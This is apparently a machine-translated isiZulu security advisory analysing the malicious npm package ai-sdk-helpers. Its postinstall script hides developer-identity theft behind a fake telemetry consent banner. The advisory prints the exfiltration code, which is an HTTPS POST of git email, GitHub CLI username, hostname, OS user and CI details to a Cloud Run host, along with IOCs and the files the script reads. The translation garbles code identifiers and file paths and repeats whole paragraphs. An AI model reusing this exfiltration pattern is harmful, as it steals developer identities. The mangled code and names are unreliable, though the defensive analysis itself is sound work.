TL; DR
Iphakheji eyodwa ye-npm, abasizi be-ai-sdk, izethula njengethuluzi lokukhiqiza le-Vercel AI SDK, enikeza ukulandelela izindleko, ukubuyisela emuva kwabahlinzeki, kanye nabasizi bokusakaza.
Iskripthi sayo sesikhathi sokufaka sivula ngesibhengezo sokudalula esicwebezelisiwe esichaza ukuxilongwa okungaziwa, ethembisa ukuthi akukho khodi yomthombo, amathokheni, noma iziqinisekiso ezidluliselwayo, okuhlonipha DO_NOT_TRACK ukukhetha ukuphuma, kanye nokuxhumanisa nekhasi lenqubomgomo ye-telemetry.
Iskripthi esifanayo bese sifunda ubunikazi be-git bonjiniyela, ukucushwa kwe-GitHub CLI, igama lomphathi womshini, igama lomsebenzisi le-OS, isiqondisi esisebenzayo, kanye nomhlinzeki we-CI.
Leyo datha ithunyelwa njenge-JSON endaweni yokugcina ye-Google Cloud Run, okudala ukungafani okucacile phakathi kwenqubomgomo ye-telemetry eshiwo kanye nezinkambu zangempela eziqoqiwe.
Iphakheji ishicilelwe ngezinguqulo ezingamashumi amabili nambili ngaphakathi kokuqhuma okukodwa kwamasekhondi angu-83, futhi iskripthi sokufaka sifana nge-byte kuzo zonke izinguqulo ezimakiwe.
Izinguqulo eziyisikhombisa kweziyisishiyagalombili ezibuyekezwe yi- pipeline atholakele engaphelele yi-ML classifier ngoba isitayela se-consent-banner sifundeka njenge-telemetry esemthethweni.
Sihlela ngezigaba ai-sdk-helpers njengononya ngokusekelwe ekuqoqweni kobunikazi bonjiniyela besikhathi sokufaka kanye nokukhishwa.
Ubunzima: phezulu.
I-Anatomy yokufaka
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }faka okuthunyelwe isebenza ngokuzenzakalelayo ukufaka i-npm, ngaphambi kokuba noma iyiphi ikhodi ekhangisiwe yephakheji ingeniswe. Iskripthi izikripthi/i-postinstall.js yilapho konke ukuziphatha kwesikhathi sokufaka kuhlala khona.
Ivula ngebhulokhi yokuphawula kanye nesaziso sesikhathi sokusebenza esibhalwe kurejista yephrojekthi yomthombo ovulekile eqaphela ubumfihlo:
>Uma ufaka ama-ai-sdk-helpers, senza ukuhlolwa okusheshayo kokuhambisana nendawo futhi sibike ukuxilongwa okungaziwa… Idatha ayiziwa ngokuphelele — siqoqa ipulatifomu yakho, inguqulo ye-Node, kanye ne-hash yendlela eyodwa yesihlonzi sakho somshini. Akukho khodi yomthombo, amathokheni, noma iziqinisekiso ezidluliselwayo.
Ixhuma ngisho nesango lokuphuma elisebenzayo, ikhodi yokuqala esebenzisekayo kufayela:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }Ukubopha leli sango kuqala yikho okwenza okunye kufundwe njengokuvumelana: unjiniyela obeka `D_AKUKHO_UKULANDELA` ibona ukufakwa kuqediwe buthule bese iphetha iphakheji ihlonipha umhlangano. Ukukhetha ukuphuma okuhlonishwayo kuyiqiniso. Lokho ekubekayo, kuwo wonke umuntu ongakusethi, yiqoqo elichazwe ngezansi — hhayi "ipulatifomu, inguqulo ye-Node, kanye ne-hash yendlela eyodwa" emfushane yamagama esaziso.
Ngaphansi kwalelo sango, iskripthi sihlanganisa umthwalo odlula kakhulu leyo ncazelo.
- *Gubuwena.* rukuxazululaScmUbuwena()` ama-eads `~.gitconfig`,`~.config/git/config`,kanye nephrojekthi yamanje `.it/config`,ihlaziya i-`[ser]` ingxenye, bese ibuyisela okulungiselelwe commit i-imeyili. Uma kungekho fayela lokucushwa elikhipha i-imeyili, libuyela emuva ku-`GT_AUTHOR_EMAIL`,`GT_COMMITI-TER_EMAIL`,kanye no-EI-AIL` Izinguquko ze-nvironment. I-docstring engaphezulu komsebenzi ifaka uhlaka lwe-read njengendlela "yokudlulisa ukufakwa kuzo zonke imishini eziphethwe ngumuntu ofanayo (isb. i-laptop + CI)" — injongo eshiwo edinga isihlonzi esizinzile sonjiniyela ngamunye, okuyinto commit izimpahla ze-imeyili.
- *Gi-akhawunti ye-tHub.* rsolveGitHubIdentity()` ama-eads `~.config/gh/hosts.yml` futhi `~.config/gh/hosts.yaml` ifayela lokucushwa elibhalwe yi-GitHub CLI lapho unjiniyela eqinisekisa — futhi i-regex-ikhipha i-`uer:` futhiail:` amasimu. Lelo fayela ligcina nethokheni ye-GitHub OAuth; i-regex yesikripthi ihlose igama lomsebenzisi kanye nemigqa ye-imeyili ngqo futhi ayikhiphi ithokheni. Ngakho-ke isimangalo sesibhengezo sokudalula esithi “awekho amathokheni… ayadluliselwa” siyiqiniso ngempela kuleyo nsimu eyodwa ngenkathi izihlonzi ze-akhawunti ezizungezile zifundwa futhi zithunyelwa.
- *Hizigxivizo zeminwe ze-st kanye ne-CI.* iskripthi bese siqoqa 'o.igama lomphathi()`,`o.userInfo().igama lomsebenzisi`,inguqulo ye-Node, ipulatifomu kanye nokwakhiwa kwezakhiwo, `pocess.cwd()`,kanye nelebula lomhlinzeki we-CI elixazululwe ngokuhlola iziguquguquko zemvelo zabahlinzeki abayisishiyagalombili (i-GitHub Actions, i-GitLab CI, i-Jenkins, i-CircleCI, i-Travis, i-Buildkite, kanye namafulegi amabili e-generic-CI). Uhlu lomhlinzeki lufunda njengohlu lwalokho iskripthi esilindele ukuthi sikwenze — amagobolondo asebenzisanayo kanye nokwakhiwa okuzenzakalelayo pipelines ngokufanayo.
Konke lokhu kuhlanganiswe ndawonye kube yi-`d eyodwaabantu abangazaziyo izinto i-bject, ngezinkambu zonjiniyela ngamunye eziqoqwe ngaphansi kwe-`iinhlangano` i-ey kanye nedatha yomsingathi ngaphansi kwe-`risikhathi` nd `cumbhalo` ama-eys, bese ehlelwa ngokulandelana futhi adluliselwe:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();Impendulo iyalahlwa futhi wonke amaphutha ayagwinywa — ukuphawula kuphawula ukuthi “i-telemetry akumelwe neze iphule ukufakwa.” Igama le-hostname le-endpoint lifaka ikhodi yesevisi ye-Google Cloud Run ku-`eintambo-entshonalanga1` isifunda.
Igebe yindaba. Ibhena liqamba izigaba ezintathu zedatha — ipulatifomu, inguqulo ye-Node, i-hash yokukhomba umshini. Umthwalo okhokhelwayo uthumela i-git yangempela yonjiniyela commit i-imeyili, igama labo lomsebenzisi le-GitHub kanye ne-imeyili, igama labo lomphathi womshini kanye negama le-akhawunti ye-OS, indlela yabo yephrojekthi, kanye nendawo yabo ye-CI. Izinkambu ezikhomba i-*pi-rson kanye nama-akhawunti abo* ncamashi nezinkambu ezishiyiwe ukudalulwa.
I-README iqinisa uhlaka oluvela kolunye uhlangothi. Ingxenye yayo ethi “Telemetry” iphinda isimangalo sokungaziwa futhi ixhumanisa igama elithi `D_AKUKHO_UKULANDELA` o `cnsoledonotrack.com`,ikhasi lomphakathi langempela elibhala phansi umhlangano wokuzikhipha — ukuboleka ubumfihlo obuqashelwayo standard ukwenza isaziso sifundwe njengenjwayelo.
esibekelwe
Lokhu kutholakala kwephakheji eyodwa enomlando omfushane kakhulu, ogcwele kakhulu wokushicilelwa. Akukho mkhankaso wamasonto amaningi ongawulandela — lonke uhla lwenguqulo luqhutshwe ngesivinini somshini.
| Nini (UTC) | Indawo |
|---|---|
| 2026-06-03 20:31:20 | Inguqulo yokuqala (0.1.0) kushicilelwe ku-npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Zonke izinguqulo ezingu-22 (0.1.0 ngokusebenzisa 1.4.2) eshicilelwe ngokuqhuma okuzenzakalelayo kwamasekhondi angu-83. |
| 2026-06-04 | Izinguqulo eziyisishiyagalombili ziphawulwe yizimpawu zokutholwa; ukuhlaziywa ngesandla kuqinisekisa ukuqoqwa kobunikazi besikhathi sokufaka kanye nokukhishwa. Iphakheji ihlale ibukhoma ku-npm ngesikhathi sokuhlaziywa. |
Ifasitela lemizuzwana engu-83 kuzo zonke izinguqulo ezingu-22 zesimantiki liyisibonakaliso sokuziphatha: ileli lenguqulo (`01.0`,`01.1`,... `14.2`)iveza ubuso bephrojekthi egcinwe ngenkuthalo enomlando wokukhishwa, okhiqizwe ngesikhathi esisodwa esibhalwe phansi. Iskripthi sokufaka asishintshi kulolo ladi — bheka ngezansi.
Izinkomba zokuvumelana
Umthwalo wesikhathi sokufaka uyafana kulo lonke ibanga lenguqulo eshicilelwe.ff` f `sama-ripts/postinstall.js` phakathi kwenguqulo `02.1` inguqulo `14.2` akubuyisi mehluko; ukuziphatha kuyisigxivizo esisodwa esiqinile, hhayi umthwalo oqhubekayo.
Network
Ifasitela lemizuzwana engu-83 kuzo zonke izinguqulo ezingu-22 zesimantiki liyisibonakaliso sokuziphatha: ileli lenguqulo (`01.0`,`01.1`,... `14.2`)iveza ubuso bephrojekthi egcinwe ngenkuthalo enomlando wokukhishwa, okhiqizwe ngesikhathi esisodwa esibhalwe phansi. Iskripthi sokufaka asishintshi kulolo ladi — bheka ngezansi.
Izinkomba zokuvumelana
Umthwalo wesikhathi sokufaka uyafana kulo lonke ibanga lenguqulo eshicilelwe.ff` f `sama-ripts/postinstall.js` phakathi kwenguqulo `02.1` inguqulo `14.2` akubuyisi mehluko; ukuziphatha kuyisigxivizo esisodwa esiqinile, hhayi umthwalo oqhubekayo.
Network
| inkomba | Indima |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | I-Exfiltration endpoint ithola izicelo ze-HTTPS POST nge-JSON payloads. Ibanjwe ku-Google Cloud Run ku- europe-west1 isifunda. |
Ingqalasizinda ye-Decoy
| inkomba | Indima |
|---|---|
ai-sdk.guide | Ikhasi lasekhaya lephakheji kanye nesayithi elibukhoma elisekela ubunikazi bombhali "we-AI SDK Guide". |
ai-sdk.guide/telemetry | I-URL yenqubomgomo ye-Telemetry ibhekiselwe esazisweni sokudalulwa kwesikhathi sokufaka. |
hello@ai-sdk.guide | I-imeyili yombhali imenyezelwe ku- package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Indawo yokugcina imithombo emenyezelwe yiphakheji. |
Amafayela afundwa ngesikhathi sokufakwa
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` i-git `[ser]` imeyili
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` I-GitHub CLI `uer` `eail`
Iziginesha zokuziphatha
- – m`pukufaka` i-ook ibiza iskripthi se-Node esihlanganisiwe
- – isango lokuphuma (`A_SDK_HELPERS_TELEMETRY_IKHUBAZEKILE`,`D_AKUKHO_UKULANDELA`)kwethulwe njengesici sobumfihlo, ngaphambi kokuqoqwa kobunikazi
- - i-tbound HTTPS POST yento ye-JSON equkethe i-imeyili ye-git, ubunikazi be-GitHub, igama lomsingathi, igama lomsebenzisi le-OS, i-cwd, kanye nelebula le-CI
- - iskripthi sokufaka esifanayo esidlule ileli yenguqulo eshicilelwe ngokushesha
Ukuchazwa kanye nokuziphatha okubonwayo
Asibaluli lutho ngaphandle kwalokho okuqoshwe yiphakheji kanye ne-registry metadata.
Umgcini werekhodi we-npm yi-akhawunti `aielsimon`,nekheli elithi `aiel@vigilance.security`.Irejista ibala leyo imeyili njengengaqinisekisiwe kanye nobunikazi bokulawula umthombo we-akhawunti njengobungaqinisekisiwe.i-ckage.json`,ngokwehlukana, wethula umbhali njengo-“AI SDK Guide `ello@ai-sdk.guide>`”nekhasi lasekhaya le-`a-sdk.guide` kanye nendawo yokugcina imithombo ngaphansi kwe-`ginhlangano ye-thub.com/ai-sdk-guide`. Isizinda se-imeyili se-akhawunti yokushicilela (`vigilance.security`)kanye nobunikazi bombhali ongaphakathi kwephakheji (`a-sdk.guide`)yizizinda ezahlukene.
I-`a-sdk.guide` i-ite ibukhoma futhi iyaphendula, kanye ne-`/i-elemetry` i-ath resolves — ubunikazi be-decoy busekelwa ubukhona bewebhu obufinyelelekayo kunesixhumanisi esifile, okuphakamisa ukwethembeka kohlaka lwephakheji.
**Ikhono eliqashelwe.** Ngesikhathi sokufaka, iphakheji ifunda ubunikazi bonjiniyela kanye namafayela okulungiselela i-akhawunti, ifaka izigxivizo zeminwe endaweni yomphathi kanye ne-CI, bese idlulisela umphumela endaweni yokugcina elawulwa yi-opharetha, ngenkathi ibonisa isaziso esichaza isethi yedatha encane nengaziwa. Sichaza lokhu kuziphatha; asisho isizathu salokho. Abafundi abahlola iphakheji - kufaka phakathi noma yiliphi iqembu eliqaphela ubunikazi bokushicilela - kufanele balinganise ukungafani okubonakalayo phakathi kokugeleza kwedatha okushiwoyo kanye nokugeleza kwangempela.
Umthelela, izitayela, kanye nesiqondiso sabavikeli
Ubani odaluliwe. Noma ubani ofakayo abasizi be-ai-sdk — ngokuqondile noma njengokuxhomekeka okuguqukayo — kusebenzisa iqoqo kulowo mshini. Ngoba i-trigger iyi- faka okuthunyelwe, ikhodi yomtapo wolwazi okhangisiwe akudingeki ukuthi ingeniswe ukuze ukugeleza kwedatha kwenzeke; ukufakwa kukodwa kwanele. Izindawo ezinenani eliphakeme kakhulu yizindawo zokusebenza zonjiniyela ezine-git identity elungiselelwe kanye ne-GitHub CLI eqinisekisiwe, kanye ne-CI runners, lapho ukutholwa kwe-CI-provider yesikripthi kukhombisa ukuthi iqoqo kulindeleke ukuthi lisebenze ngaphakathi kwesakhiwo. pipelinekanye nakuma-laptop.
Lokho okuvezayo. Akuzona izimfihlo zohlelo lokusebenza esimweni esijwayelekile — umthwalo okhokhelwayo ugxile ku identity: onjiniyela commit i-imeyili, igama le-akhawunti yabo ye-GitHub kanye ne-imeyili, amagama omshini kanye ne-akhawunti, kanye nendlela yephrojekthi. Lokho kuyi-precisimephu yokuthi ubani ofake iphakheji, kumshini muni, kuyiphi indawo yokugcina, futhi ngaphansi kwaluphi uhlelo lwe-CI. Enhlanganweni, amarekhodi ambalwa anjalo ahlanganiswe ndawonye angabala ukuthi obani onjiniyela nokuthi yiziphi izinhlelo zokwakha ezidonse ukuthembela — okuwusizo njengesandulela somsebenzi wokulandela oqondiwe kakhulu, yize ukuziphatha kwaleli phakheji kuphelela ekuqoqweni nasekudluliselweni.
Umkhuba: i-telemetry njengesembozo. Amathuluzi onjiniyela asemthethweni aqoqa ukuxilongwa kokufakwa okungaziwa, kanye nemithetho yokwenza lokhu ngenhlonipho — isaziso sokudalula, UNGALANDELI udumo, ifulegi lokuzikhipha, i-URL yenqubomgomo — kwaziwa kahle. abasizi be-ai-sdk iphinda yonke leyo mithetho emine ngokwethembeka futhi iyisebenzise njengesivikelo sokuqoqwa kobunikazi. Ukuba khona kwesibhengezo semvume, ukukhetha ukuphuma okusebenzayo, noma isixhumanisi senqubomgomo yobumfihlo akubona ubufakazi bokuthi iphakheji ithembekile; lezo zilawuli azibizi ukuzilingisa. Ukuhlola okuthembekile kuphela ukuthi ikhodi ifundani ngempela nokuthi iyithumela kuphi ngempela.
Lokhu kupakisha nakho kunomphumela olinganisekayo ekuhlolweni okuzenzakalelayo. Kuzo zonke izinguqulo zethu pipeline uma kubuyekezwa, amazwana olimi olulula lwesikripthi sokufaka, amagama ensimu ahlelekile, kanye nesango lokuphuma elivamile elinikezwe amaphuzu njenge-telemetry evamile: abayisikhombisa kwabayisishiyagalombili babuye okungaphelele kusuka ku-ML classifier kunokuba kube yingozi. Isignali exazulula ukungaqondakali ayikho kuphrozi — ikumafayili athile iskripthi esivulayo (~ / .gitconfig, ~/.config/gh/hosts.yml) kanye nendawo ethumela kuyo. Umhloli, ozenzakalelayo noma ongumuntu, ofunda ukudalulwa bese eyeka lapho uzofinyelela esiphethweni esingalungile; isinqumo kufanele sivele emaqinisweni okugeleza kwedatha.
Isiqondiso sabavikeli:
- Ukufaka ngezikripthi kukhutshaziwe ngokuzenzakalelayo — ukufaka i-npm -ukungazi-izikripthi, noma isethi izikripthi ezinganaki = iqiniso in .npmrc bese usebenzisa izinyathelo zokwakha ezihlolwe ngokucacile. Lokhu kunciphisa amandla faka okuthunyelwe-kuqoqwe yonke indawo.
- Ungaphathi izilawuli zokuzikhipha njengezimpawu zokuthembana. UNGALANDELI isheke noma isixhumanisi esithi “inqubomgomo ye-telemetry” asikutsheli lutho ngedatha eqoqwa iskripthi lapho isango lingakasethwa.
- Funda i-hook yokufaka ngaphambi kokusebenzisa amaphakheji osizo lwe-AI-ecosystem. Isikhala se-Vercel AI SDK siwumgomo ohamba ngokushesha futhi othembekile kakhulu; faka okuthunyelwe lokho kuthinta ~ / .gitconfig or ~/.config/gh/ kuyisibonakaliso esicacile kungakhathaliseki ukuthi imibono ezungezile ibhalwa kanjani.
- Gada ukuphuma kwesikhathi sokwakha. I-HTTPS POST ephumayo ngesikhathi ukufaka i-npm, ikakhulukazi endaweni yokugcina yokusebenza kwamafu esanda kunikezwa, iyabonakala kungqimba yenethiwekhi futhi iyindawo yokuthola enamandla yezindawo ze-CI.
- Qaphela izitebhisi zenguqulo ezicindezelwe. Iphakheji enomlando wayo wonke wenguqulo ye-semantic-version ovela ngemizuzwana embalwa, eneskripthi sokufaka esingashintshi, iveza umlando wokugcinwa okwenziwe.
